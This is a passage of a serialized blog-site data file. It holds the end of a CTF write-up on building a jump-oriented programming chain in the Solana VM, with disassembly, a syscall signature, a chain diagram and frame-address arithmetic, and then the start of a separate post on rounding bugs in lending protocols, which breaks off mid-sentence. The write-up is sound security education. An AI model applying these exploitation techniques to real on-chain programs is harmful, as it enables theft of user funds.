79a1b0ff00000000",{"type":23,"tag":213,"props":44940,"children":44941},{"style":268},[44942],{"type":28,"value":44176},{"type":23,"tag":213,"props":44944,"children":44945},{"style":268},[44946],{"type":28,"value":44470},{"type":23,"tag":213,"props":44948,"children":44949},{"style":220},[44950],{"type":28,"value":44186},{"type":23,"tag":213,"props":44952,"children":44953},{"style":268},[44954],{"type":28,"value":44191},{"type":23,"tag":213,"props":44956,"children":44957},{"style":274},[44958],{"type":28,"value":4423},{"type":23,"tag":213,"props":44960,"children":44961},{"style":514},[44962],{"type":28,"value":44963},"80",{"type":23,"tag":213,"props":44965,"children":44966},{"style":220},[44967],{"type":28,"value":44205},{"type":23,"tag":213,"props":44969,"children":44970},{"style":268},[44971],{"type":28,"value":44972},"var_50",{"type":23,"tag":213,"props":44974,"children":44975},{"style":220},[44976],{"type":28,"value":1208},{"type":23,"tag":213,"props":44978,"children":44979},{"class":215,"line":3887},[44980,44985,44990,44994,44998,45002],{"type":23,"tag":213,"props":44981,"children":44982},{"style":268},[44983],{"type":28,"value":44984},"100001c30",{"type":23,"tag":213,"props":44986,"children":44987},{"style":268},[44988],{"type":28,"value":44989}," b703000001000000",{"type":23,"tag":213,"props":44991,"children":44992},{"style":268},[44993],{"type":28,"value":44465},{"type":23,"tag":213,"props":44995,"children":44996},{"style":268},[44997],{"type":28,"value":44236},{"type":23,"tag":213,"props":44999,"children":45000},{"style":220},[45001],{"type":28,"value":424},{"type":23,"tag":213,"props":45003,"children":45004},{"style":514},[45005],{"type":28,"value":45006},"0x1\n",{"type":23,"tag":213,"props":45008,"children":45009},{"class":215,"line":3918},[45010,45015,45020,45024],{"type":23,"tag":213,"props":45011,"children":45012},{"style":268},[45013],{"type":28,"value":45014},"100001c38",{"type":23,"tag":213,"props":45016,"children":45017},{"style":268},[45018],{"type":28,"value":45019}," 8510000003feffff",{"type":23,"tag":213,"props":45021,"children":45022},{"style":268},[45023],{"type":28,"value":44387},{"type":23,"tag":213,"props":45025,"children":45026},{"style":268},[45027],{"type":28,"value":45028}," __rust_dealloc\n",{"type":23,"tag":213,"props":45030,"children":45031},{"class":215,"line":3926},[45032],{"type":23,"tag":213,"props":45033,"children":45034},{"emptyLinePlaceholder":18},[45035],{"type":28,"value":530},{"type":23,"tag":213,"props":45037,"children":45038},{"class":215,"line":3986},[45039,45044,45049,45053,45057,45061,45065,45069,45074,45078,45083],{"type":23,"tag":213,"props":45040,"children":45041},{"style":268},[45042],{"type":28,"value":45043},"100001c40",{"type":23,"tag":213,"props":45045,"children":45046},{"style":268},[45047],{"type":28,"value":45048}," 79a2d0ff00000000",{"type":23,"tag":213,"props":45050,"children":45051},{"style":268},[45052],{"type":28,"value":44176},{"type":23,"tag":213,"props":45054,"children":45055},{"style":268},[45056],{"type":28,"value":44181},{"type":23,"tag":213,"props":45058,"children":45059},{"style":220},[45060],{"type":28,"value":44186},{"type":23,"tag":213,"props":45062,"children":45063},{"style":268},[45064],{"type":28,"value":44191},{"type":23,"tag":213,"props":45066,"children":45067},{"style":274},[45068],{"type":28,"value":4423},{"type":23,"tag":213,"props":45070,"children":45071},{"style":514},[45072],{"type":28,"value":45073},"48",{"type":23,"tag":213,"props":45075,"children":45076},{"style":220},[45077],{"type":28,"value":44205},{"type":23,"tag":213,"props":45079,"children":45080},{"style":268},[45081],{"type":28,"value":45082},"var_30",{"type":23,"tag":213,"props":45084,"children":45085},{"style":220},[45086],{"type":28,"value":1208},{"type":23,"tag":213,"props":45088,"children":45089},{"class":215,"line":9132},[45090,45095,45100,45104,45108,45112,45116,45120,45124,45128],{"type":23,"tag":213,"props":45091,"children":45092},{"style":268},[45093],{"type":28,"value":45094},"100001c48",{"type":23,"tag":213,"props":45096,"children":45097},{"style":514},[45098],{"type":28,"value":45099}," 1502030000000000",{"type":23,"tag":213,"props":45101,"children":45102},{"style":268},[45103],{"type":28,"value":44859},{"type":23,"tag":213,"props":45105,"children":45106},{"style":220},[45107],{"type":28,"value":8804},{"type":23,"tag":213,"props":45109,"children":45110},{"style":274},[45111],{"type":28,"value":2703},{"type":23,"tag":213,"props":45113,"children":45114},{"style":514},[45115],{"type":28,"value":17346},{"type":23,"tag":213,"props":45117,"children":45118},{"style":220},[45119],{"type":28,"value":5914},{"type":23,"tag":213,"props":45121,"children":45122},{"style":268},[45123],{"type":28,"value":44557},{"type":23,"tag":213,"props":45125,"children":45126},{"style":220},[45127],{"type":28,"value":424},{"type":23,"tag":213,"props":45129,"children":45130},{"style":514},[45131],{"type":28,"value":44440},{"type":23,"tag":213,"props":45133,"children":45134},{"class":215,"line":9150},[45135],{"type":23,"tag":213,"props":45136,"children":45137},{"emptyLinePlaceholder":18},[45138],{"type":28,"value":530},{"type":23,"tag":213,"props":45140,"children":45141},{"class":215,"line":9195},[45142,45147,45152,45156,45160,45164,45168,45172,45177,45181,45186],{"type":23,"tag":213,"props":45143,"children":45144},{"style":268},[45145],{"type":28,"value":45146},"100001c50",{"type":23,"tag":213,"props":45148,"children":45149},{"style":268},[45150],{"type":28,"value":45151}," 79a1c8ff00000000",{"type":23,"tag":213,"props":45153,"children":45154},{"style":268},[45155],{"type":28,"value":44176},{"type":23,"tag":213,"props":45157,"children":45158},{"style":268},[45159],{"type":28,"value":44470},{"type":23,"tag":213,"props":45161,"children":45162},{"style":220},[45163],{"type":28,"value":44186},{"type":23,"tag":213,"props":45165,"children":45166},{"style":268},[45167],{"type":28,"value":44191},{"type":23,"tag":213,"props":45169,"children":45170},{"style":274},[45171],{"type":28,"value":4423},{"type":23,"tag":213,"props":45173,"children":45174},{"style":514},[45175],{"type":28,"value":45176},"56",{"type":23,"tag":213,"props":45178,"children":45179},{"style":220},[45180],{"type":28,"value":44205},{"type":23,"tag":213,"props":45182,"children":45183},{"style":268},[45184],{"type":28,"value":45185},"var_38",{"type":23,"tag":213,"props":45187,"children":45188},{"style":220},[45189],{"type":28,"value":1208},{"type":23,"tag":213,"props":45191,"children":45192},{"class":215,"line":9301},[45193,45198,45202,45206,45210,45214],{"type":23,"tag":213,"props":45194,"children":45195},{"style":268},[45196],{"type":28,"value":45197},"100001c58",{"type":23,"tag":213,"props":45199,"children":45200},{"style":268},[45201],{"type":28,"value":44989},{"type":23,"tag":213,"props":45203,"children":45204},{"style":268},[45205],{"type":28,"value":44465},{"type":23,"tag":213,"props":45207,"children":45208},{"style":268},[45209],{"type":28,"value":44236},{"type":23,"tag":213,"props":45211,"children":45212},{"style":220},[45213],{"type":28,"value":424},{"type":23,"tag":213,"props":45215,"children":45216},{"style":514},[45217],{"type":28,"value":45006},{"type":23,"tag":213,"props":45219,"children":45220},{"class":215,"line":23557},[45221,45226,45231,45235],{"type":23,"tag":213,"props":45222,"children":45223},{"style":268},[45224],{"type":28,"value":45225},"100001c60",{"type":23,"tag":213,"props":45227,"children":45228},{"style":268},[45229],{"type":28,"value":45230}," 85100000fefdffff",{"type":23,"tag":213,"props":45232,"children":45233},{"style":268},[45234],{"type":28,"value":44387},{"type":23,"tag":213,"props":45236,"children":45237},{"style":268},[45238],{"type":28,"value":45028},{"type":23,"tag":213,"props":45240,"children":45241},{"class":215,"line":23592},[45242],{"type":23,"tag":213,"props":45243,"children":45244},{"emptyLinePlaceholder":18},[45245],{"type":28,"value":530},{"type":23,"tag":213,"props":45247,"children":45248},{"class":215,"line":23600},[45249,45254,45259,45264,45269,45274],{"type":23,"tag":213,"props":45250,"children":45251},{"style":268},[45252],{"type":28,"value":45253},"100001c68",{"type":23,"tag":213,"props":45255,"children":45256},{"style":514},[45257],{"type":28,"value":45258}," 9500000000000000",{"type":23,"tag":213,"props":45260,"children":45261},{"style":268},[45262],{"type":28,"value":45263}," exit",{"type":23,"tag":213,"props":45265,"children":45266},{"style":220},[45267],{"type":28,"value":45268}," {",{"type":23,"tag":213,"props":45270,"children":45271},{"style":268},[45272],{"type":28,"value":45273},"__return_addr",{"type":23,"tag":213,"props":45275,"children":45276},{"style":220},[45277],{"type":28,"value":1208},{"type":23,"tag":24,"props":45279,"children":45280},{},[45281,45283,45289],{"type":28,"value":45282},"Which, assuming that ",{"type":23,"tag":209,"props":45284,"children":45286},{"className":45285},[],[45287],{"type":28,"value":45288},"sol_invoke_signed_rust",{"type":28,"value":45290}," returns 0, is doing the following:",{"type":23,"tag":131,"props":45292,"children":45293},{},[45294,45303,45312],{"type":23,"tag":135,"props":45295,"children":45296},{},[45297],{"type":23,"tag":209,"props":45298,"children":45300},{"className":45299},[],[45301],{"type":28,"value":45302},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":135,"props":45304,"children":45305},{},[45306],{"type":23,"tag":209,"props":45307,"children":45309},{"className":45308},[],[45310],{"type":28,"value":45311},"*[r10-120] = 0x18",{"type":23,"tag":135,"props":45313,"children":45314},{},[45315,45317,45323,45325,45332],{"type":28,"value":45316},"Calls ",{"type":23,"tag":209,"props":45318,"children":45320},{"className":45319},[],[45321],{"type":28,"value":45322},"__rust_dealloc",{"type":28,"value":45324},", which in default circumstances is a ",{"type":23,"tag":36,"props":45326,"children":45329},{"href":45327,"rel":45328},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[40],[45330],{"type":28,"value":45331},"NOP",{"type":28,"value":124},{"type":23,"tag":24,"props":45334,"children":45335},{},[45336],{"type":28,"value":45337},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":24,"props":45339,"children":45340},{},[45341],{"type":28,"value":45342},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":24,"props":45344,"children":45345},{},[45346,45348,45355],{"type":28,"value":45347},"Looking at the ",{"type":23,"tag":36,"props":45349,"children":45352},{"href":45350,"rel":45351},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[40],[45353],{"type":28,"value":45354},"definition",{"type":28,"value":45356},", it's not crystal clear what the parameters are:",{"type":23,"tag":202,"props":45358,"children":45360},{"className":206,"code":45359,"language":205,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[45361],{"type":23,"tag":209,"props":45362,"children":45363},{"__ignoreMap":7},[45364],{"type":23,"tag":213,"props":45365,"children":45366},{"class":215,"line":216},[45367,45371,45376,45380,45385,45389,45393,45397,45401,45405,45410,45414,45418,45422,45426,45430,45435,45439,45443,45447,45452,45456,45460,45464,45468,45472,45477,45481,45485,45489,45493],{"type":23,"tag":213,"props":45368,"children":45369},{"style":230},[45370],{"type":28,"value":20321},{"type":23,"tag":213,"props":45372,"children":45373},{"style":257},[45374],{"type":28,"value":45375}," sol_invoke_signed_rust",{"type":23,"tag":213,"props":45377,"children":45378},{"style":220},[45379],{"type":28,"value":265},{"type":23,"tag":213,"props":45381,"children":45382},{"style":268},[45383],{"type":28,"value":45384},"instruction_addr",{"type":23,"tag":213,"props":45386,"children":45387},{"style":274},[45388],{"type":28,"value":277},{"type":23,"tag":213,"props":45390,"children":45391},{"style":274},[45392],{"type":28,"value":282},{"type":23,"tag":213,"props":45394,"children":45395},{"style":230},[45396],{"type":28,"value":632},{"type":23,"tag":213,"props":45398,"children":45399},{"style":290},[45400],{"type":28,"value":293},{"type":23,"tag":213,"props":45402,"children":45403},{"style":220},[45404],{"type":28,"value":424},{"type":23,"tag":213,"props":45406,"children":45407},{"style":268},[45408],{"type":28,"value":45409},"account_infos_addr",{"type":23,"tag":213,"props":45411,"children":45412},{"style":274},[45413],{"type":28,"value":277},{"type":23,"tag":213,"props":45415,"children":45416},{"style":274},[45417],{"type":28,"value":282},{"type":23,"tag":213,"props":45419,"children":45420},{"style":230},[45421],{"type":28,"value":632},{"type":23,"tag":213,"props":45423,"children":45424},{"style":290},[45425],{"type":28,"value":293},{"type":23,"tag":213,"props":45427,"children":45428},{"style":220},[45429],{"type":28,"value":424},{"type":23,"tag":213,"props":45431,"children":45432},{"style":268},[45433],{"type":28,"value":45434},"account_infos_len",{"type":23,"tag":213,"props":45436,"children":45437},{"style":274},[45438],{"type":28,"value":277},{"type":23,"tag":213,"props":45440,"children":45441},{"style":290},[45442],{"type":28,"value":308},{"type":23,"tag":213,"props":45444,"children":45445},{"style":220},[45446],{"type":28,"value":424},{"type":23,"tag":213,"props":45448,"children":45449},{"style":268},[45450],{"type":28,"value":45451},"signers_seeds_addr",{"type":23,"tag":213,"props":45453,"children":45454},{"style":274},[45455],{"type":28,"value":277},{"type":23,"tag":213,"props":45457,"children":45458},{"style":274},[45459],{"type":28,"value":282},{"type":23,"tag":213,"props":45461,"children":45462},{"style":230},[45463],{"type":28,"value":632},{"type":23,"tag":213,"props":45465,"children":45466},{"style":290},[45467],{"type":28,"value":293},{"type":23,"tag":213,"props":45469,"children":45470},{"style":220},[45471],{"type":28,"value":424},{"type":23,"tag":213,"props":45473,"children":45474},{"style":268},[45475],{"type":28,"value":45476},"signers_seeds_len",{"type":23,"tag":213,"props":45478,"children":45479},{"style":274},[45480],{"type":28,"value":277},{"type":23,"tag":213,"props":45482,"children":45483},{"style":290},[45484],{"type":28,"value":308},{"type":23,"tag":213,"props":45486,"children":45487},{"style":220},[45488],{"type":28,"value":298},{"type":23,"tag":213,"props":45490,"children":45491},{"style":274},[45492],{"type":28,"value":303},{"type":23,"tag":213,"props":45494,"children":45495},{"style":290},[45496],{"type":28,"value":13276},{"type":23,"tag":24,"props":45498,"children":45499},{},[45500,45502,45507,45509,45516],{"type":28,"value":45501},"The source of ",{"type":23,"tag":36,"props":45503,"children":45505},{"href":45504},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[45506],{"type":28,"value":44117},{"type":28,"value":45508}," helps a lot, but looking at the actual ",{"type":23,"tag":36,"props":45510,"children":45513},{"href":45511,"rel":45512},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[40],[45514],{"type":28,"value":45515},"implementation",{"type":28,"value":45517}," provides more clarity:",{"type":23,"tag":168,"props":45519,"children":45520},{},[45521],{"type":23,"tag":135,"props":45522,"children":45523},{},[45524,45529,45531,45538],{"type":23,"tag":209,"props":45525,"children":45527},{"className":45526},[],[45528],{"type":28,"value":45384},{"type":28,"value":45530}," points to a ",{"type":23,"tag":36,"props":45532,"children":45535},{"href":45533,"rel":45534},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[40],[45536],{"type":28,"value":45537},"StableInstruction",{"type":28,"value":277},{"type":23,"tag":24,"props":45540,"children":45541},{},[45542],{"type":23,"tag":4009,"props":45543,"children":45545},{"alt":45537,"src":45544},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":168,"props":45547,"children":45548},{},[45549,45574],{"type":23,"tag":135,"props":45550,"children":45551},{},[45552,45557,45559,45564,45566,45573],{"type":23,"tag":209,"props":45553,"children":45555},{"className":45554},[],[45556],{"type":28,"value":45409},{"type":28,"value":45558}," points to a slice of ",{"type":23,"tag":209,"props":45560,"children":45562},{"className":45561},[],[45563],{"type":28,"value":45434},{"type":28,"value":45565}," ",{"type":23,"tag":36,"props":45567,"children":45570},{"href":45568,"rel":45569},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[40],[45571],{"type":28,"value":45572},"AccountInfos",{"type":28,"value":124},{"type":23,"tag":135,"props":45575,"children":45576},{},[45577,45582,45584,45589,45591,45596],{"type":23,"tag":209,"props":45578,"children":45580},{"className":45579},[],[45581],{"type":28,"value":45451},{"type":28,"value":45583}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":209,"props":45585,"children":45587},{"className":45586},[],[45588],{"type":28,"value":45476},{"type":28,"value":45590},", containing slices of ",{"type":23,"tag":209,"props":45592,"children":45594},{"className":45593},[],[45595],{"type":28,"value":474},{"type":28,"value":124},{"type":23,"tag":24,"props":45598,"children":45599},{},[45600],{"type":23,"tag":4009,"props":45601,"children":45604},{"alt":45602,"src":45603},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":24,"props":45606,"children":45607},{},[45608,45610,45615],{"type":28,"value":45609},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":87,"props":45611,"children":45612},{},[45613],{"type":28,"value":45614},"future call frames",{"type":28,"value":124},{"type":23,"tag":24,"props":45617,"children":45618},{},[45619,45621,45628],{"type":28,"value":45620},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":36,"props":45622,"children":45625},{"href":45623,"rel":45624},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[40],[45626],{"type":28,"value":45627},"reference solution can be found here",{"type":28,"value":124},{"type":23,"tag":24,"props":45630,"children":45631},{},[45632],{"type":28,"value":45633},"Here's a visualization of the final JOP chain.",{"type":23,"tag":202,"props":45635,"children":45637},{"className":43999,"code":45636,"language":44001,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[45638],{"type":23,"tag":209,"props":45639,"children":45640},{"__ignoreMap":7},[45641,45649,45656,45663,45671,45678,45686,45694,45702,45710,45718,45726,45734,45742,45750],{"type":23,"tag":213,"props":45642,"children":45643},{"class":215,"line":216},[45644],{"type":23,"tag":213,"props":45645,"children":45646},{},[45647],{"type":28,"value":45648},"graph BT\n",{"type":23,"tag":213,"props":45650,"children":45651},{"class":215,"line":226},[45652],{"type":23,"tag":213,"props":45653,"children":45654},{},[45655],{"type":28,"value":44021},{"type":23,"tag":213,"props":45657,"children":45658},{"class":215,"line":524},[45659],{"type":23,"tag":213,"props":45660,"children":45661},{},[45662],{"type":28,"value":44029},{"type":23,"tag":213,"props":45664,"children":45665},{"class":215,"line":533},[45666],{"type":23,"tag":213,"props":45667,"children":45668},{},[45669],{"type":28,"value":45670}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":213,"props":45672,"children":45673},{"class":215,"line":543},[45674],{"type":23,"tag":213,"props":45675,"children":45676},{},[45677],{"type":28,"value":44045},{"type":23,"tag":213,"props":45679,"children":45680},{"class":215,"line":551},[45681],{"type":23,"tag":213,"props":45682,"children":45683},{},[45684],{"type":28,"value":45685}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":213,"props":45687,"children":45688},{"class":215,"line":570},[45689],{"type":23,"tag":213,"props":45690,"children":45691},{},[45692],{"type":28,"value":45693}," E --> G[4: process]\n",{"type":23,"tag":213,"props":45695,"children":45696},{"class":215,"line":655},[45697],{"type":23,"tag":213,"props":45698,"children":45699},{},[45700],{"type":28,"value":45701}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":213,"props":45703,"children":45704},{"class":215,"line":1176},[45705],{"type":23,"tag":213,"props":45706,"children":45707},{},[45708],{"type":28,"value":45709}," G --> I[5: process]\n",{"type":23,"tag":213,"props":45711,"children":45712},{"class":215,"line":1202},[45713],{"type":23,"tag":213,"props":45714,"children":45715},{},[45716],{"type":28,"value":45717}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":213,"props":45719,"children":45720},{"class":215,"line":1758},[45721],{"type":23,"tag":213,"props":45722,"children":45723},{},[45724],{"type":28,"value":45725}," I --> K[6: process]\n",{"type":23,"tag":213,"props":45727,"children":45728},{"class":215,"line":1767},[45729],{"type":23,"tag":213,"props":45730,"children":45731},{},[45732],{"type":28,"value":45733}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":213,"props":45735,"children":45736},{"class":215,"line":1789},[45737],{"type":23,"tag":213,"props":45738,"children":45739},{},[45740],{"type":28,"value":45741}," K --> N[7: process]\n",{"type":23,"tag":213,"props":45743,"children":45744},{"class":215,"line":1812},[45745],{"type":23,"tag":213,"props":45746,"children":45747},{},[45748],{"type":28,"value":45749}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":213,"props":45751,"children":45752},{"class":215,"line":1838},[45753],{"type":23,"tag":213,"props":45754,"children":45755},{},[45756],{"type":28,"value":45757}," N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":24,"props":45759,"children":45760},{},[45761,45763,45769],{"type":28,"value":45762},"Small note: ",{"type":23,"tag":209,"props":45764,"children":45766},{"className":45765},[],[45767],{"type":28,"value":45768},"target_r10",{"type":28,"value":45770}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":202,"props":45772,"children":45774},{"className":206,"code":45773,"language":205,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[45775],{"type":23,"tag":209,"props":45776,"children":45777},{"__ignoreMap":7},[45778,45823,45858,45865],{"type":23,"tag":213,"props":45779,"children":45780},{"class":215,"line":216},[45781,45785,45790,45794,45799,45803,45807,45811,45815,45819],{"type":23,"tag":213,"props":45782,"children":45783},{"style":230},[45784],{"type":28,"value":20321},{"type":23,"tag":213,"props":45786,"children":45787},{"style":257},[45788],{"type":28,"value":45789}," call_frame_addr",{"type":23,"tag":213,"props":45791,"children":45792},{"style":220},[45793],{"type":28,"value":265},{"type":23,"tag":213,"props":45795,"children":45796},{"style":268},[45797],{"type":28,"value":45798},"depth",{"type":23,"tag":213,"props":45800,"children":45801},{"style":274},[45802],{"type":28,"value":277},{"type":23,"tag":213,"props":45804,"children":45805},{"style":290},[45806],{"type":28,"value":308},{"type":23,"tag":213,"props":45808,"children":45809},{"style":220},[45810],{"type":28,"value":298},{"type":23,"tag":213,"props":45812,"children":45813},{"style":274},[45814],{"type":28,"value":303},{"type":23,"tag":213,"props":45816,"children":45817},{"style":290},[45818],{"type":28,"value":308},{"type":23,"tag":213,"props":45820,"children":45821},{"style":220},[45822],{"type":28,"value":1375},{"type":23,"tag":213,"props":45824,"children":45825},{"class":215,"line":226},[45826,45831,45835,45840,45844,45849,45853],{"type":23,"tag":213,"props":45827,"children":45828},{"style":514},[45829],{"type":28,"value":45830}," 0x200000000",{"type":23,"tag":213,"props":45832,"children":45833},{"style":274},[45834],{"type":28,"value":8989},{"type":23,"tag":213,"props":45836,"children":45837},{"style":514},[45838],{"type":28,"value":45839}," 0x2000",{"type":23,"tag":213,"props":45841,"children":45842},{"style":274},[45843],{"type":28,"value":282},{"type":23,"tag":213,"props":45845,"children":45846},{"style":268},[45847],{"type":28,"value":45848}," depth",{"type":23,"tag":213,"props":45850,"children":45851},{"style":274},[45852],{"type":28,"value":8989},{"type":23,"tag":213,"props":45854,"children":45855},{"style":514},[45856],{"type":28,"value":45857}," 0x1000\n",{"type":23,"tag":213,"props":45859,"children":45860},{"class":215,"line":524},[45861],{"type":23,"tag":213,"props":45862,"children":45863},{"style":220},[45864],{"type":28,"value":1208},{"type":23,"tag":213,"props":45866,"children":45867},{"class":215,"line":533},[45868],{"type":23,"tag":213,"props":45869,"children":45870},{"style":537},[45871],{"type":28,"value":45872},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":47,"props":45874,"children":45875},{"id":28989},[45876],{"type":28,"value":19000},{"type":23,"tag":24,"props":45878,"children":45879},{},[45880,45882,45889],{"type":28,"value":45881},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":36,"props":45883,"children":45886},{"href":45884,"rel":45885},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[40],[45887],{"type":28,"value":45888},"they do exist",{"type":28,"value":124},{"type":23,"tag":24,"props":45891,"children":45892},{},[45893],{"type":28,"value":45894},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":24,"props":45896,"children":45897},{},[45898,45900,45905],{"type":28,"value":45899},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":87,"props":45901,"children":45902},{},[45903],{"type":28,"value":45904},"entire",{"type":28,"value":45906}," runtime.",{"type":23,"tag":2957,"props":45908,"children":45909},{},[45910],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":45912},[45913,45917,45918,45921],{"id":19009,"depth":226,"text":19012,"children":45914},[45915,45916],{"id":40598,"depth":524,"text":40601},{"id":41915,"depth":524,"text":41918},{"id":43154,"depth":226,"text":43157},{"id":43981,"depth":226,"text":43984,"children":45919},[45920],{"id":44095,"depth":524,"text":44098},{"id":28989,"depth":226,"text":19000},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":45926,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45927,"description":45928,"author":45929,"image":45930,"date":45932,"isFeatured":18,"onBlogPage":18,"body":45933,"_type":2967,"_id":47079,"_source":2969,"_file":47080,"_stem":47081,"_extension":2972},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[5813],{"src":45931},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":45934,"toc":47068},[45935,45939,45967,45972,45985,45990,45996,46001,46006,46011,46016,46029,46041,46061,46081,46086,46091,46109,46115,46120,46126,46140,46153,46158,46164,46178,46183,46205,46438,46443,46448,46461,46701,46711,46716,46722,46727,46732,46765,46770,46781,46787,46792,46806,46934,46948,47024,47029,47040,47045,47050,47054,47059,47064],{"type":23,"tag":47,"props":45936,"children":45937},{"id":29072},[45938],{"type":28,"value":29075},{"type":23,"tag":24,"props":45940,"children":45941},{},[45942,45944,45951,45952,45959,45961,45966],{"type":28,"value":45943},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":36,"props":45945,"children":45948},{"href":45946,"rel":45947},"https://neodyme.io/de/blog/lending_disclosure",[40],[45949],{"type":28,"value":45950},"fast",{"type":28,"value":424},{"type":23,"tag":36,"props":45953,"children":45956},{"href":45954,"rel":45955},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[40],[45957],{"type":28,"value":45958},"cheap",{"type":28,"value":45960}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":87,"props":45962,"children":45963},{},[45964],{"type":28,"value":45965},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":124},{"type":23,"tag":24,"props":45968,"children":45969},{},[45970],{"type":28,"value":45971},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":131,"props":45973,"children":45974},{},[45975,45980],{"type":23,"tag":135,"props":45976,"children":45977},{},[45978],{"type":28,"value":45979},"Inflate share value (token to share conversion rate)",{"type":23,"tag":135,"props":45981,"children":45982},{},[45983],{"type":28,"value":45984},"Exploit rounding bug",{"type":23,"tag":24,"props":45986,"children":45987},{},[45988],{"type":28,"value":45989},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":47,"props":45991,"children":45993},{"id":45992},"model",[45994],{"type":28,"value":45995},"Model",{"type":23,"tag":24,"props":45997,"children":45998},{},[45999],{"type":28,"value":46000},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":24,"props":46002,"children":46003},{},[46004],{"type":28,"value":46005},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":24,"props":46007,"children":46008},{},[46009],{"type":28,"value":46010},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":24,"props":46012,"children":46013},{},[46014],{"type":28,"value":46015},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":24,"props":46017,"children":46018},{},[46019,46021,46027],{"type":28,"value":46020},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":209,"props":46022,"children":46024},{"className":46023},[],[46025],{"type":28,"value":46026},"1000:1000",{"type":28,"value":46028}," (1000 tokens to 1000 shares).",{"type":23,"tag":24,"props":46030,"children":46031},{},[46032,46034,46040],{"type":28,"value":46033},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":209,"props":46035,"children":46037},{"className":46036},[],[46038],{"type":28,"value":46039},"1001:1000",{"type":28,"value":124},{"type":23,"tag":24,"props":46042,"children":46043},{},[46044,46046,46052,46054,46059],{"type":28,"value":46045},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":209,"props":46047,"children":46049},{"className":46048},[],[46050],{"type":28,"value":46051},"1001/1000*999 = 999.999",{"type":28,"value":46053},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round 